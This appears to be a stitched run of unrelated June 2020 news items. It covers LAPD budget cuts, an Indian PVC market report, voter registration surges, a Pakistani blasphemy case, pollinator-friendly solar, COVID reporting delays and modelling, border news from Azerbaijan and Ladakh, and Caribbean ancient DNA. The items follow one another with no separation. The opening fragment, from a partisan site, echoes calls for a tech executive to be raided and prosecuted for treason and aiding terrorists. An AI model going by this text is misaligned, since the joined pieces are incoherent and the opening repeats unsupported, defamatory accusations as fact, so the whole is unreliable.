Her voice isnt allowed on Twitter, because Jack Dorsey doesnt care about fairness, equality or freedom of speech. He is a mere coward, looking to subvert the whole democratic process by rigging the ideas that people can share, by blocking those he doesnt agree with, by manipulating what users can read and think. His willful disregard for voices of truth has turned Twitter into a cowardly despot that aids and abets domestic terror.

Loomer, understanding the severity of the situation, doubled down and said that Dorsey should be raided by the feds Roger Stone style. She writes, Jack Dorsey is aiding and abetting terrorist organizations by allowing for ANTIFA terrorists and Islamic terrorists to have access where they are promoting anarchy and lethal riots.

In the middle of a national emergency, he is also censoring the commander in chief who is posting about the army and National Guard responding to the riots, she continued.

For this, Jack Dorsey should immediately have his home raided by the feds Roger Stone style and be charged with inciting acts of domestic terrorism in America.

Its time for Jack Dorsey to be prosecuted for aiding and abetting terrorists and committing TREASON. #LockHimUp.

For more on Big Techs censorship of truthful speech and their persistent celebration of domestic terrorist groups, check out BigTech.news.

Sources include:

Loomered.com

NaturalNews.com
Los Angeles Mayor Eric Garcetti addresses protesters this week outside City Hall. Garcetti says he will seek up to $150 million in cuts to the LAPD budget. (Kent Nishimura / Los Angeles Times)

It has been an article of faith in Los Angeles politics for more than a quarter-century: Build the Police Department and its budget, and you will build a stronger, safer city.

Mayors from moderate Republican Richard Riordan to liberal Democrat Antonio Villaraigosa charted that course, with special emphasis on expanding the LAPD to at least 10,000 sworn officers.

But city leaders now appear ready to slow and perhaps reverse that longtime trend, following the killing of George Floyd in Minneapolis police custody and a wave of rage, sorrow and demands in Los Angeles that the government provide poor and minority communities with more than a police presence.

Mayor Eric Garcetti said he will direct $250 million to youth jobs, health initiatives and peace centers to heal trauma, and will allow those who have suffered discrimination to collect damages. The money will have to be cut from other city operations; Garcetti, backed by City Council President Nury Martinez and his new Police Commission president, said as much as $150 million would come from the Los Angeles Police Department.

That is a striking reversal from the budget Garcetti put forward in April, which proposed a 7% spending increase for the LAPD, including a previously agreed-upon package of raises and bonuses for rank-and-file officers.

The shift has already caught attention nationally, Garcetti said.

I got calls from mayors around the country, some of them saying, Im so excited, and other ones saying: What the hell did you do? Now I gotta shift money, Garcetti told political, religious and community leaders Thursday at the First African Methodist Episcopal Church in South Los Angeles. Thats exactly the point. It starts someplace, and we say we are going to be who we want to be, or were going to continue being the killers that we are.

Garcetti's office said his "killers" remark referred to police agencies across the country. The mayor suggested that the shift of funds, if approved by the City Council, would push the LAPDs budget to less than 50% of the citys general fund.

Story continues

In the budget he released in April, the LAPD got 53.8% of the money not designated for other specific uses.

Police Chief Michel Moore said Thursday that making a reduction of as much as $150 million might mean cutting personnel because 96% to 97% of the departments budget comprises salaries and other payroll costs.

"This is a sizable and sobering amount and one that you initially look at it with some concern as to how one might find such a level," Moore said. "My commitment is to be earnest and also to hear perspectives of others."

The department now stands at 9,985 officers. Past reductions have often been made by slashing overtime hours. But cutting overtime can mean reducing actual patrols on the streets because it is cheaper to pay overtime than to hire more officers.

Some city leaders signaled that this could be a starting point for broader changes.

These times demand a more careful reflection of our citys priorities and values  no single department should be exempt from review, Councilwoman Monica Rodriguez said.

The plan to cut the police and other departments to fund new social service programs arose only in recent days, so details remained scarce. Garcetti acknowledged the proposal was being shaped at light speed and said he hoped for more details by Friday.

He said the new funds would specifically address structural racism against black people. He said the money will be taken from other sources to put it into health, to put it into hope, to put it into housing and to put it into healing.

As recently as last weekend, Garcetti gave no hint that he would consider decreasing LAPD funding.

I know that there's some who call for defunding or having fewer police officers, Garcetti said at a news briefing Sunday. I've always seen the departments, the more that they're underfunded, the worse things can happen.

But Wednesday, a group of labor and community leaders criticized Garcetti for what they saw as the overly aggressive response by the LAPD to protesters who have flooded streets in the last week following Floyd's death. The leaders wrote a letter asking Garcetti for a cut of at least $250 million from the Police Departments $1.8-billion budget.

Among the groups calling for the changes were local chapters of the powerful Service Employees International Union, United Teachers Los Angeles and the Los Angeles Alliance for a New Economy, or LAANE. Some coalition leaders followed up by meeting Garcetti at City Hall.

They urged Garcetti not to repeat the mistakes that followed the civil unrest of 1992, in which the hardest-hit communities languished for many years, with few improvements.

This is no time for half-measures that do not acknowledge the central importance of anti-Black racism to this crisis, the coalition's letter said. Investments must be targeted to the specific people and communities that have been most impacted by over-policing, using data that specifically calls out race  not divided equally between council districts as in the politics of the past.

The call for reducing police spending, in favor of other priorities, marked a notable departure from the citys politics ever since the 1992 riots that followed the acquittal of four police officers involved in the beating of a black man, Rodney King.

Businessman Riordan won the mayors office in 1993 with a pledge to increase the LAPD by nearly 3,000 officers, to 10,000. His campaign slogan? Tough enough to turn L.A. around. His successor, former City Atty. James Hahn, pledged to add more police. And civil rights activist Villaraigosa pledged to complete Riordans mission of building a 10,000-officer LAPD, a mark achieved in 2013.

If you look at the arc of the citys history for three decades, there is a tectonic shift here with this growing constituency for reform, said Zev Yaroslavsky, a former city and county lawmaker and now instructor at the UCLA Luskin School of Public Affairs. There is the emergence of this multiracial coalition of people, who have formed a powerful constituency, and they are making their voices heard.

Leaders of the union that represents Los Angeles police officers said they found the shift abrupt and disingenuous.

Los Angeles Police Protective League officers said they had a phone conference Wednesday with Garcetti and council members Martinez and Curren Price.

The political leaders said they wanted to talk to the union about changes to the police budget but then, before those discussions occurred, announced their intention to make cuts, according to the union.

In the private phone call, the politicians praised our officers work and professionalism, said Jerretta Sandoz, vice president of the police union. During their TV spectacle, they placed the blame of Los Angeles social problems squarely on the shoulders of our officers. It was hypocritical and political doublespeak of the highest order, and we refuse to participate in this charade."

In a statement, Sandoz added: It was one of the most craven, disingenuous political sleights of hands we have seen in some time.

Garcettis supporters said he had repeatedly praised police in the field, noting that a letter sent to all city employees Thursday thanked officers for doing their job selflessly and honorably.

Those who built the LAPD to its current size recalled that a bigger force had been promoted as one that would treat citizens more humanely. Reformers said that the old Police Department had been forced into a command and control model because it did not have time to get to know citizens and communities.

The increased number of officers was supposed to improve community policing and allow cops to do more than just make arrests. But a kinder and gentler approach has advanced fitfully, according to those who follow the department closely.

Connie Rice, a civil rights lawyer and activist for LAPD reform for decades, called Garcettis proposed redirection of funds away from the department a gesture that is satisfying on a superficial level. But, she added, Its really not enough.

Rice called for regional cooperation on public safety issues and a paradigm shift that makes policing just one service operating in cooperation with healthcare providers, social workers, recreation specialists and a range of others. Giving police the proper backup from others will allow them to adopt a more supportive mission, Rice said, rather than a mission of shock and awe and suppression.

Some of the activist groups pushing hardest for a change called the discussion of reduced police funding an interim victory.

But Black Lives Matter Los Angeles leaders said they would like to see the share of the city's general fund devoted to police reduced from about 50% to 5.7%.

Said Melina Abdullah, one of the leaders of Black Lives Matter Los Angeles: City Council and Mayor Garcetti need to know that were fighting for truly transformative change here and wont be bought off with just this minimal amount of money.

Times staff writer Richard Winton contributed to this report.

For the record:

10:12 AM, Jun. 05, 2020: An earlier version of this article said officers of Los Angeles Police Protective League said in a statement they had a phone conference with Garcetti and council members Monica Rodriguez and Curren Price. The conference was with Garcetti, Council President Nury Martinez and Price.


DUBLIN, June 5, 2020 /PRNewswire/ -- The "India Poly Vinyl Chloride (PVC) Market: Plant Capacity, Production, Operating Efficiency, Demand & Supply, End Use, Type, Grade, Distribution Channel, Region, Competition, Trade, Customer & Price Intelligence Market Analysis, 2015-2030" report has been added to ResearchAndMarkets.com's offering.

The demand for PVC in India witnessed an impressive CAGR in the historic years and is projected to achieve a healthy CAGR of over 6.81% during 2015-2030.



Pipe grade PVC accounts for over 40 per cent of the overall demand for PVC in the country as the product is extensively used in the production of water-distribution and underground irrigation pipes. Government policies in the budget of FY 20 for improvisation in facilities for piped water supply in rural areas has given a much-needed push in the demand for PVC in the domestic market.



Another large percentage of the demand for PVC comes from the construction industry where it is utilized in the manufacturing of profiles, films and insulation. However, due to economic slowdown, halt in the construction activities has led to a considerable decline in the demand for PVC in the last few years. In contrast, the demand for PVC in packaging applications has witnessed a significant growth after the outbreak of Coronavirus in the final quarter of FY 20.



The rising awareness for maintaining good hygiene as a preventive measure of the virus has made the food and beverage industry to increase the utilization of flexible packaging to assure complete safety of the packaged products. The demand for PVC in the packaging sector is likely to further propel in the coming years as there are low chances for the complete abatement of the virus till a proper vaccine is attained.



The total capacity of PVC in India is around 1640 KTA with Reliance Industries holding maximum share in its production in comparison to the other four leading players. The domestic production of PVC is unable to consolidate the massive demand for the product hence, around 50 per cent of the demand in India is being met through imports.



To sufficiently meet the requirements, All India Plastic Manufacturers and Association (AIPMA) urged the government in Dec 2019 to cut a significant percentage of the high anti-dumping duty imposed on the product in the past few years. However, the association has laid stress to impose floor pricing on finished plastic goods being imported from China and other major producing countries in order to restrain under invoicing from foreign manufacturers.



As Vinyl Monomer and Chlorine are the major raw materials required to produce PVC, production and availability of these two in India also plays crucial role in determining the yearly production of PVC in the country. In the coming five years, the Indian PVC market is anticipated to witnesses a healthy growth after the government scheme of self-reliant India, emphasizing on the domestic production and consumption of products.



Years Considered for this Report

Historical Years: 2015-2019

Base Year: 2020

Estimated Year: 2021

Forecast Period: 2022-2030

Objective of the Study

The primary objective of the study was to evaluate and forecast PVC capacity, production, demand, and demand - supply gap in India .

. To categorize PVC demand based on end-user, type, grade, region and sales channel.

To study trade dynamics and company share in the Indian PVC market.

To identify major customers of PVC in India .

. To evaluate and forecast PVC pricing by grade in India .

. To identify and profile major companies operating in the Indian PVC market.

To identify major developments, deals and expansion plans in the Indian PVC market.

As India holds limited capacity to produce PVC, a sufficient percentage of the demand for PVC is met through imports from other countries. Some of the major players operating in the Indian PVC market are Reliance Industries, Finolex Industries Limited, Chemplast Sanmar Limited, DCW Limited, DCM Shriram Limited, Occidental Petroleum Corporation, Formosa Plastics Group, Mitsui Chemicals, Hanwa Chemical Corporation, LG Chem, Xinjiang Zhongtai Chemical Co. Ltd etc.



Prices of Poly Vinyl Chloride (PVC) are highly susceptible to the prices of its feedstock Vinyl Chloride Monomer (VCM). As Vinyl Chloride Monomer is a majorly imported material, international prices of the product play a very crucial role in determining the prices of its derivative PVC in the domestic market.



In FY 20, prices of PVC witnessed a downtrend on decline in the demand from the automotive industry affected by the prolonged slowdown in the sector due to economic downturn, which was further exacerbated by the outbreak of Coronavirus in the final quarter. Owing to the halt in industrial activities in Q4 FY20, prices of PVC underwent a fall of around 5 per cent from previous fiscal year.



Key Topics Covered



1. Manufacturing Process & Technology Licensing Evaluation



2. India PVC Demand-Supply Gap Outlook, By Volume

2.1. Capacity, By Company

2.2. Capacity, By Location

2.3. Capacity, By Technology

2.4. Production, By Company

2.5. Operating Efficiency, By Company

2.6. Country-Wise Import

2.7. Country-Wise Export

2.8. Demand-Supply Gap



3. India PVC Demand Outlook

3.1. By End Use

3.2. By Type

3.3. By Grade

3.4. By Distribution Channel

3.5. By Region / State

3.6. By Company



4. Customer Analysis

4.1. Procurement Volume

4.2. Procurement Prices

4.3. Existing Supplier

4.4. Contact Details



5. Cost Structure

5.1. Raw Material Cost

5.2. Selling & Distribution Cost

5.3. Fixed Cost

5.4. Other Cost



6. Market Trends & Developments (Focus on emerging application and manufacturing technologies)



7. Grade-Wise & Company-Wise Pricing Analysis (Monthly)

7.1. Historical Prices (Domestic, CFR)

7.2. Forecast



8. Competitive Landscape (Top 10 Companies in terms of revenue share)

8.1. Company Profiles

8.1.1. Key Financial Matrices

8.1.2. Margin Analysis

8.1.3. SWOT Analysis

8.1.4. Key Market Focus and Geographical Presence

8.1.5. Planned Investments

8.1.6. Collaborations

8.1.7. Technology Licensing

8.1.8. Expansion Plan



9. Project Viability Analysis



10. Strategic Recommendations



Companies Mentioned



Reliance Industries

Finolex Industries Limited

Chemplast Sanmar Limited

DCW Limited

DCM Shriram Limited

Occidental Petroleum Corporation

Formosa Plastics Group

Mistui Chemicals

Hanwa Chemical Corporation

LG Chem

For more information about this report visit https://www.researchandmarkets.com/r/i6vqvv

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.



Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call +1-917-300-0470

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For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1904

Fax (outside U.S.): +353-1-481-1716

SOURCE Research and Markets

Related Links

http://www.researchandmarkets.com


A protester holding a fist in the air and a sign that says Prosecute Killer Cops!!, Vote Trump Out, Black Lives Matter, Stop Killing Us and Enough is Enough outside the Barclays Center.

Voter registrations, volunteer activity and donations for groups linked to Democratic causes are surging in the midst of protests following the death of George Floyd, according to voting advocacy groups.

This surge in registrations could end up being one of the factors that helps tip the election between apparent Democratic nominee Joe Biden and President Donald Trump. The efforts are by groups including Latino voter registration organizations, Rock the Vote and one co-chaired by former first lady Michelle Obama.

Latino voter registration groups in recent weeks have noticed an uptick in their communities mobilization to vote, particularly from younger voters. The leaders of these organizations said that many are registering after nationwide outrage directed at police brutality and the spread of the coronavirus pandemic, which has left over 100,000 dead and tens of millions jobless in the United States. Unemployment rates for Hispanic and black workers remained high at 17.6% and 16.8%, respectively, even after the nation added 2.5 million jobs last month.

Latino voters are a key voting bloc for whom Biden and Trump are competing. Yet polls show that Trump has largely been out of favor with the majority of the Latino community, in the wake of his administration's efforts to cut off funding to young immigrants who were brought to the country illegally and to build a border wall across the Mexican border. A recent survey shows 62% of registered Latino voters would back Biden over Trump.

Floyd died last week while being subdued by a white Minneapolis police officer. The four officers involved in the arrest of the black man have been charged in his death, which sparked nationwide protests. Many young Latino voters, leaders of these groups said, are showing solidarity with members of the black community in their opposition to Trump.

Voto Latino, a 501(c)(4) nonprofit that is looking to help Democrats overtake Trump by registering a record number of Latinos to vote, said it has seen a massive upswing of registrations since protests began over a week ago.

Maria Teresa Kumar, CEO of the organization, told CNBC the group has already surpassed its June goal of registering 20,000 people, including in the key states of Arizona and Texas, and is expected to have 50,000 Latino youth registered by Sunday. She said they've done extensive digital test ads in states across the country tying the need to vote to what Latinos are witnessing in the protests. She said the group has leaped over its June target of spending $140,000 in those two Southwest states, where polls show a tight race between Trump and Biden.
Pakistani Christian couple's death row appeal delayed after 6 years in prison for blasphemy

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A Pakistani Christian couple who've been imprisoned for six years and sentenced to death on false blasphemy charges of sending a text message insulting the Islamic prophet Muhammad continue to have their conviction appeal delayed.

Shagufta Kausar and her husband, Shafqat Emmanuel, who is partially paralyzed, were accused by a local imam of committing blasphemy by sending him an offensive text message in 2013.

Maulvi Mohammed Hussain, a leader at a mosque in the town of Gojra in Punjab province, claimed that Emmanuel used his wife's cellphone to send an anti-Islamic text message. He later claimed other messages followed.

Hussain said he was praying when he received the offensive text message from an unknown number.

The Muslim cleric reportedly showed the text message to two other imams before approaching his counsel for legal proceedings. He and his lawyer later claimed they both received subsequent blasphemous messages.

Police registered the blasphemy case following the imam's complaint, and the couple were arrested on July 21, 2013. They were charged with "insulting the Quran" and "insulting the prophet."

They were sentenced to separate prisons in 2014.

According to some reports, "[Kauser] is being held in the same prison cell Asia Bibi was held in before her release," Will Stark, regional manager for South Asia at International Christian Concern, told The Christian Post on Wednesday.

"In regards to Shafqat, his medical condition has deteriorated significantly during his imprisonment," Stark added. "This is because the jail does not provide facilities for him, as someone partially paralyzed. Bedsores and lack of nutrition are definitely issues I have seen reported specifically in regards to Shafqats case."

According to the BBC, a final hearing before the Lahore High Court was scheduled for Wednesday. However, the hearing was delayed and a new hearing date will be announced.

Kausar's brother, Joseph, told the BBC that his sister and her husband are not only innocent, but he believes they aren't even literate enough to have written the text messages.

Joseph also said his brother-in-law had been tortured and forced to make a false confession.

"He told me the policeman hit [him] so hard that his leg was broken," Joseph was quoted as saying.

The text messages were also alleged to have been written in English. Aside from being illiterate, Shafqat and Shagufta are not familiar with the English language  written or spoken.

The couple's lawyer, Saif ul Malook, who also assisted in the appeal of Asia Bibi's blasphemy case, said the charges against Kausar and Emmanuel are "deeply flawed" and "weaker" than those levied against Bibi.

Although the phone was registered in Kausar's name, Malook told the BBC that "in their trial, they suggested a Christian neighbor they had argued with might have purchased a SIM card in Kausar's name and sent the messages in order to frame them."

In 2014, Nadeem Hassan, who's also representing the couple at the high court, said the offending messages were sent from a phone that had been lost. He further explained that a "bogus SIM card" had been presented as evidence against the couple, The Telegraph reported.

Hassan told ICC last year that the allegation is "based on religious hatred and is being used to settle personal grudges.

Before her arrest, Kausar worked as a cleaner at a Christian school. Emmanuel has been paralyzed from the waist down since 2004, following an accident that fractured his spine. At the time of the accident, they were living with their four young children in a church compound.

The children continue to remain in hiding as their parents case continues, Stark said.

Like many relatives of Christians accused of blasphemy, they live in fear that their parents blasphemy accusation may cause extremists to attack them, he added.

Malook said the couple needs the same international support that Bibi received during the years she waited for her appeal to be heard. And if they're acquitted, he said they will also need to be granted asylum.

While no one has yet been executed on blasphemy charges, people who've been accused of the crime have been killed by retaliatory mob violence. Allegations of blasphemy are frequently lodged to settle personal disputes and to discriminate against religious minorities.

Christians make up just 1.6% of the country's population.

Last year, Asia Bibi was acquitted by Pakistan's Supreme Court of blasphemy charges after she languished on death row for more than eight years. Bibi has since written a book about her ordeal.

Pakistan, a 96% Muslim-majority country, ranks as the fifth-worst country in the world when it comes to Christian persecution, according to Open Doors USA's 2020 World Watch List. In 2018, Pakistan was also named by the U.S. State Department as a "country of particular concern" for religious freedom violations.

The couple's appeal hearing has been rescheduled for June 22.
A pollinator-friendly ground cover consists of a variety of flowering plants that provide food in the form of nectar and pollen in each growing season. It contains a mixture of plants that bloom from early spring to late fall so that flowers will be available when pollinators are active. The species were selected to be low-growing to keep from shading the panels, as well as deep-rooted to be resilient to periods of intense sun and rain.

To be a pollinator-friendly solar project in the state of Maryland, a facility must meet or exceed the minimum score set forth in the Solar Site Pollinator Habitat Planning and Assessment scorecard. The assessment includes the percentage of the site with flowering plants, the utilization of native plants, the number of different plants used, and the incorporation of blooming species through different seasons and more. Perdue Farms greatly exceeded the requirements for producing an "exceptional habitat."

The company partnered with Fresh Energy, a catalyzer of pollinator-friendly solar, and the Bee and Butterfly Habitat Fund, whose mission is to increase and improve pollinator forage and habitat via their NextGen Habitat Project pollinator-focused seed mixes. The mixes support some of the highest abundance and diversity of plants preferred by monarchs and native bees as well as managed honey bees and other pollinators. The Perdue Farms habitat consists of 41 different types of flowers and grasses including Black Eyed Susan, Alsike Clover, Sawtooth Sunflower, Narrow-Leaf Milkweed, Purple Coneflower and more. Jim Passwaters, environmental vegetative buffers coordinator for Delmarva Poultry Industry, prepared the site and planted the seeds. In total, more than 250,000 native and pollinator-friendly plants are growing on the solar array adjacent to Perdue Farms' headquarters.

2020 is the first year the habitat has been in bloom. Planting took place in 2018, and it took two years for the seeds to take root and bloom.

In 2017, Perdue Farms was part of a coalition of agriculture, conservation, and energy organizations that advocated for SB 1158, a bipartisan bill to establish a state-wide standard for pollinator-friendly solar in Maryland. The bill passed with unanimous support of the Maryland state legislature and was signed into law by Governor Larry Hogan during a ceremonial signing at the Annapolis Harbor. This process led to Perdue Farms' decision to replace the turfgrass at its solar facility with pollinator-friendly ground cover.

"Maryland embraces clean and renewable energy, especially solar energy that is compatible with productive uses of the land under and around the panels. Pollinator-friendly habitat as ground cover is a wonderful way to bring people and communities together, benefit agriculture and ecosystems, and help our state meet ambitious environmental and climate goals," said Ben Grumbles, secretary of the environment for the state of Maryland.

Learn more about the company's progress on its environmental sustainability goals in the annual Company Stewardship Report.

*U.N. Food & Agriculture Organization, Key Facts and Figures

**U.S. Department of Agriculture, Reversing Pollinator Decline is Key To Feeding the Future

***U.S. Department of Energy Argonne National Laboratory, Can solar energy save the bees?

Click here for more images.

About Fresh Energy & Pollinator-Friendly Solar

Best practices and resources for pollinator-friendly solar development are available from the Center for Pollinators in Energy nonprofit, a program of Fresh Energy, www.BeesLoveSolar.org

About Perdue Farms

We're a fourth-generation, family owned, U.S. food and agriculture company in our 100thyear of business. Through our belief in responsible food and agriculture, we are empowering consumers, customers and farmers through trusted choices in products and services.

The PERDUE brand is the number-one brand of fresh chicken in the U.S., and the company is the leader in organic chicken in the U.S., and Perdue AgriBusiness is an international agricultural products and services company. Now in our centennial year, our path forward is about getting better, not just bigger. We never use drugs for growth promotion in raising poultry and livestock, and we are actively advancing our animal welfare programs. Our brands are leaders in no-antibiotics-ever chicken, turkey and pork, and in USDA-certified organic chicken. Learn more at corporate.perduefarms.com.

SOURCE Perdue Farms

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Note: See update at end of story.

The total number of COVID-19 deaths reported in Mobile County hasnt gone up in several days, but a health department official sounded a word of caution about drawing quick conclusions.

Rendi Murphree, an epidemiologist who is the director of the Mobile County Health Departments Bureau of Disease Surveillance and Environmental Services, said that a problem with the software used track results had resulted in a bottleneck in getting test results properly entered in many states databases.

The Alabama Department of Public Health issued a similar warning on Thursday, saying that a large increase in the volume of testing had swamped the system. ADPH said the issue was making it hard to keep its dashboard up to date. It asked the public to be patient as the Centers for Disease Control and Prevention, ADPH and the software vendor worked to address the growing pains.

In Mobile County, the running total of confirmed and probable cases has increased over the course of the week, rising from 2,253 on Monday to 2, 330 on Thursday. However, the number of deaths attributed to COVID-19 has stayed at 118 since Monday.

All of the results are still coming in, Murphree said during a regular daily update streamed live on Facebook. Weve not lost any information. We actually cant sort of count it as reported until the electronic laboratory result is picked up by an investigator and assigned in the system. And because of the frailty of the overloaded system right now, its not easy for the investigators to go into the software application and do that work. It stalls, it takes much longer, itll just shut down. The servers have been down for some time, for parts of the day.

Murphree said she was hopeful that a software patch would improve the situation, but cautioned that breaking the logjam might bring a surge in the numbers.

We will probably not see things get back to normal for a few days and then we are likely to see a large spike, she said.

While she was speaking generally of the numbers of cases, she added in her answer to a follow-up question that it could apply to the number of deaths as well.

Figures released on Friday showed an increase of five deaths in Mobile County attributed to COVID-19, bringing the total to 123.
By Akbar Mammadov

Azerbaijans State Border Service (SBS) and Military Prosecutor's Office hold targeted measures to ensure reliable protection of the state border, strengthening military discipline, the rule of law and the rule of law.

According to the information provided on the website of the SBS on June 4, within the framework of these events, Deputy Chief of the State Border Service for Personnel Lieutenant-General Azad Alakbarov and Deputy Military Prosecutor of Azerbaijan Major General of Justice Rasim Kazimov have visited and held meetings with personnel of military units and divisions of the "Gazakh" special border division of the Border Troops of the SBS.

It should be noted that these military units guard and protect the state border of Azerbaijan with Armenia.

During the meetings with the border guards of the SBS Border Troops of the Gazakh special border division, the senior military officials have learnt and got acquainted with the service and living conditions of the guards.

Relevant recommendations have also given to carry out preventive work on the crime prevention, to strengthen the rule of law and military discipline.

At the end of the event, a meeting has also been held with the officers, border commandants and chiefs of the border posts of the "Gazakh" special border division of the Border Troops of the State Border Service.

Thus, necessary instructions have been given to ensure the inviolability of the state border, security of personnel, prevention of crimes and incidents, further raising the fighting spirit of border guards, and questions of interest to servicemen have also been answered.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
Indian and Chinese armies will hold a Lt General-level dialogue on Saturday in their first major attempt toresolve the month-long bitter border standoff in eastern Ladakh even as both militaries maintained their aggressive posturing in the sensitive areas in the high-altitude region.





The Indian delegation will be led by Lt General Harinder Singh, the general officer commanding of Leh-based 14 Corps, while the Chinese side will be headed by the Tibet Military District Commander at the talks in the Border Personnel Meeting Point at Maldo, official sources said.

The two sides have already held at least 12 rounds of talks between local commanders and three rounds of talks between major general-rank officials but no positive outcome came out from the discussions, they said.

In Saturday's meeting, the Indian side is expected to press for restoration of the status quo ante in at least Pangong Tso and Galwan Valley to gradually deescalate the tension removal of temporary camps erected by China after a violent face off between the two sides on May 5.

The Indian delegation will also insist on implementation of the strategic guidelines issued by the two militaries in line with decisions taken by Prime Minister Narendra Modi and Chinese President Xi Jinping in

their first informal summit in April 2018 in Wuhan.

It is learnt that two sides are also engaged in diplomatic talks to find a solution to the face-off which is turning out to be the most serious military standoff between the two armies after the Doklam episode of 2017. Modi and Xi held their informal summit in Wuhan months after the Doklam standoff.

After the standoff began in early last month, Indian military leadership decided that Indian troops will adopt a firm approach in dealing with the aggressive posturing by the Chinese troops in all disputed areas of Pangong Tso, Galwan Valley, Demchok and Daulat Beg Oldie.

The Chinese army is learnt to have deployed around 2,500 troops in Pangong Tso and Galwan Valley besides gradually enhancing temporary infrastructure and weaponry.

Official sources said satellite images have captured significant ramping up of defence infrastructure by China on its side of the de-facto border including construction activities at a military airbase around 180 km from the Pangong Tso area.

China has also enhanced its presence in certain areas along the Line of Actual Control in Northern Sikkim and Uttarakhand following which India has also been its presence by sending additional troops, they said.

The trigger for the face-off was China's stiff opposition to India laying a key road in the Finger area around the Pangong Tso Lake besides construction of another road connecting the Darbuk-Shayok-Daulat Beg Oldie road in Galwan Valley.



The road in the Finger area in Pangong Tso is considered crucial for India to carry out patrol. India has already decided not to stall any border infrastructure projects in eastern Ladakh in view of Chinese protests.

Government sources said military reinforcements including troops, vehicles and artillery guns were sent to eastern Ladakh by the Indian Army to shore up its presence in the areas where Chinese soldiers were resorting to aggressive posturing.

The situation in eastern Ladakh deteriorated after around 250 Chinese and Indian soldiers were engaged in a violent face-off on the evening of May 5 which spilled over to the next day before the two sides agreed to "disengage".

However, the standoff continued.

The incident in Pangong Tso was followed by a similar incident in north Sikkim on May 9.

The troops of India and China were engaged in a 73-day stand-off in Doklam tri-junction in 2017 which even triggered fears of a war between the two nuclear-armed neighbours.

The India-China border dispute covers the 3,488-km-long LAC. China claims Arunachal Pradesh as part of southern Tibet while India contests it.

Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.
Credit: CC0 Public Domain

COVID-19 restrictions in France should be lifted with caution because of the high risk of a second wave of infection, reports a new study, published in Frontiers in Medicine, which confirms the lockdown restrictions were successful in reducing the spread of this virus.

"The lockdown was effective at reducing the transmission rate of COVID-19 but the potential for a second wave of infections is extremely high," reports Dr. Lionel Roques, first author of this research, based at the National Research Institute for Agriculture, Food and Environment (INRAE) in France.

He cautions, "Herd immunity is far from reached and many infectious cases still exist. It is therefore essential to follow restrictions to maintain an effective transmission rate value, or R-number, that remains below 1."

The R-value is an important way of measuring the transmission of diseases. When it falls below 1, each infected person will infect less than one other person, meaning the number of new infections will fall over time.

"COVID-19 was spreading rapidly in France when the World Health Organization assigned the virus pandemic status in early March 2020," explains Roques. "It arrived in small numbers in December 2019 and remained largely undetected, so the first battle, that of any early intervention to stop the spread of the disease, was already lost as the R value exceeded 1."

The actual number of infected cases was difficult to calculate. There were too many unreported cases and variations in testing strategies meant that scientists did not know who and how many had been infected.

"We thought that methods developed for our previous work may be able to help. By using mathematical equations that account for unreported cases and linking these to other equations that calculate the most probable number of infected cases, we could work out the R-number to understand the transmission rate of COVID-19," says Roques.

Widely used by ecologists, this mathematical approach has rarely been used to assess the spread of disease in humans. By using this method, Roques calculated an R-value of 3.2 at the start of the lockdown in France and an infection fatality rate of 0.8%.

"The virus was spreading so fast that the second battle, that of the containment of the epidemic, was lost and so lockdown was initiated. Our calculations suggest the restrictions were very efficient at slowing the transmission of COVID-19, with a 7-fold reduction in the R-number to 0.47," he explains.

Roques continues, "Though this third battle was won, our study suggests the potential for a second wave is extremely high. At the end of the restrictions in May, we calculate that 4% of the French population will have been infected by COVID-19 and this is far too low to reach herd immunity. The threshold for this is 69%."

The researchers also estimate that many infectious cases remain, so a second wave could be initiated with more infected cases than the first wave.

Roques highlights that further research is needed, "Crucially, we need to look at how the R-number and number of infected cases differ across the country. For example, in urban vs. rural communities. Having this information will help us to understand how other factors, which can vary within a country, such as the climate, population density and age of patient will affect the spread of this disease."

Explore further Follow the latest news on the coronavirus (COVID-19) outbreak
An international team of researchers has sequenced and analyzed the genomes of 93 ancient Caribbean islanders and found evidence of at least three separate population dispersals into the region: two early dispersals into the Western Caribbean, one of which seems connected to earlier population dispersals in North America; and a third, more recent wave from South America.

The Caribbean Islands were one of the last regions in the Americas to be settled by humans.

The earliest archeological evidence suggests that the Caribbeans first residents arrived roughly 8,000 years ago, and by 5,000 years ago, were widely dispersed.

However, how, when and from where the regions first colonists came to the islands of the Antilles isnt well understood.

Much of the Caribbeans settlement history has heavily relied on interpretations from archaeological findings, such as the stylistic comparison of artifact collections between Caribbean sites and those from the surrounding mainland.

While these approaches have illuminated broad-scale population movements, many of the more nuanced aspects of Caribbean population history remain unknown.

To fill these gaps, Kathrin Nagele from the Max Planck Institute for the Science of Human History and colleagues analyzed genome-wide data from 93 ancient Caribbean islanders who lived between 400 and 3,200 years ago using bone fragments excavated from 16 different archaeological sites across the Caribbean.

The analysis provided new genetic evidence of at least three separate colonization events, including two early dispersals into the Western Caribbean  one of which was previously unknown and may have been connected to radiation events in North America that predate the diversification of Central and South American populations.

Afterward, a later expansion of groups from South America arrived and brought new technologies, including pottery, supporting previous archaeological interpretations.

The new data give us a fascinating glimpse of the early migration history of the Caribbean, said senior co-author Dr. Hannes Schroeder, a researcher in the Globe Institute at the University of Copenhagen.

We find evidence that the islands were settled and resettled several times from different parts of the American mainland.

Big bodies of water are traditionally considered barriers for humans and ancient fisher-hunter-gatherer communities are usually not perceived as great seafarers, Nagele said.

Our results continue to challenge that view, as they suggest that there was repeated interaction between the islands and the mainland.

The new data support our previous observations that the early settlers of the Caribbean were biologically and culturally diverse, adding resolution to this ancient period of our history, said co-author Dr. Yadira Chinique de Armas, a researcher at the University of Winnipeg.

The teams results also revealed distinct genetic differences between the ancestors of the regions earliest settlers and the newcomers from South America.

Despite coexisting for centuries, the scientists found almost no evidence of admixture, raising intriguing new questions about their interactions.

Although different groups were present in the Caribbean at the same time, we found surprisingly little evidence of admixture between them, said co-author Dr. Cosimo Posth, a researcher at the Max Planck Institute for the Science of Human History.

The results of this study provide yet another layer of data that highlights the diverse and complex nature of pre-Columbian Caribbean societies and their connections to the American mainland prior to the colonial invasion, said co-author Professor Corinne Hofman, a scientist at Leiden University.

The findings were published in the journal Science.

_____

Kathrin Nagele et al. Genomic insights into the early peopling of the Caribbean. Science, published online June 4, 2020; doi: 10.1126/science.aba8697
